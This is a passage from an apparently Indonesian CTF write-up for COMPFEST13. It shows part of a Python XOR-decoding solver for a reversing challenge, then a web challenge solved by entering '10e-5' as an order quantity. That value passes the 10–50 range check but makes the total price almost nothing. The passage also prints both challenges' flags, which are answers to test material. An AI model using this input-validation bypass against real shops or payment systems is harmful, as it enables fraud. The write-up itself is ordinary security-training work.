flag += p64(0x782f86fe86458256)
flag += p64(0xaf2348c6b9f69dd6)
flag += p64(0x5f54cde00efa1f9a)
flag += p64(0x2139699f269a2a63)
flag += p64(0xbc6401dd6c230650)
flag += p64(0x535c467ced4548b4)
flag += p64(0x992b4d854d4422ed)
flag += p64(0xe130c4a4842a45ba)
flag += p64(0x2d66bf3290d89dab)
flag += p64(0x53aafbabb6fa49f4)
flag += p64(0x86e9e26843df6915)
flag += p64(0x1650dc001f8ce434)
flag += p64(0x6d646291142ce6b9)
flag += p64(0x7b4213b860591b36)
flag += p64(0xaf3fe0568d293809)
flag += p64(0xfe2d60af51f5580a)
flag += p64(0x81f160dbf9b6a619)
flag += p64(0xcd9cc1d889f27660)
flag += p64(0xe9753ebc8996fde3)
49
flag += p64(0x91f91929bb90cac)
flag += p64(0x59f83c7ae10eb7b2)
flag += p64(0x51a745f693a2f9af)
flag += p64(0xc8dbb42bd8864676)
flag += p64(0x519a803ebd619bac)
flag += p64(0x5eda784f49a4d969)
def toUnsigned(n):
packed = struct.pack('>h', n) # Packing a long number.
unpacked = struct.unpack('>H', packed)[0] # Unpacking a
packed long number to unsigned long
return unpacked
50
def f14(param1, param2, param3):
return f15(param1, param2 // 0xc6, param3)
states = []
state = 0x42
revObjF11 = {}
for i in range(0x100):
revObjF11[f11(i,0,0)] = chr(i).encode('utf-8')
flag = flag[52:52+0x62]
for i in range(len(flag)):
states.append(f21(state,0,0))
state *= 3
c = []
for i in range(len(flag)):
if(states[i] < 0):
states[i] = toUnsigned(states[i])
c.append(flag[i] ^ states[i])
f = b''
cnt = 0
for i in c:
f += revObjF11[i]
print(f)
51
Flag:
COMPFEST13{n3Ver_Tru5t_M4tHemAg1cKal_tR1cK5s_n0BoDY_tH0u6hT_No_0ne_W0
ulD_n0t1c3_4nYw4Y_98f66ab185}
52
Web Exploitation
Hospital Donation
Diberikan webservice di mana kita diberi modal 1jt dan disuruh donasi minimal 10 transport
ventilator yang harga satuannya 326jt. Singkat cerita, tugas kita di sini adalah meng-abuse
53
quantity yang dikirim. Program tidak menerima kuantitas yg di bawah 10 atau di atas 50.
Setelah mencoba-coba berbagai payload, kami curiga bahwa fungsionalitas ini dapat diakali
dengan menginputkan 10e-5 (terdapat angka 10 di situ namun ketika dieksekusi, nilainya
menjadi sangat kecil, sehingga bila dikalikan dengan harga satuan transport ventilator,
nilainya justru menjadi semakin kecil dari harga aslinya). Langsung saja kami coba pakai
burpsuite.
Flag: COMPFEST13{thank_you_g00d_people_4_helping_us_ffb3a7cdd8}
54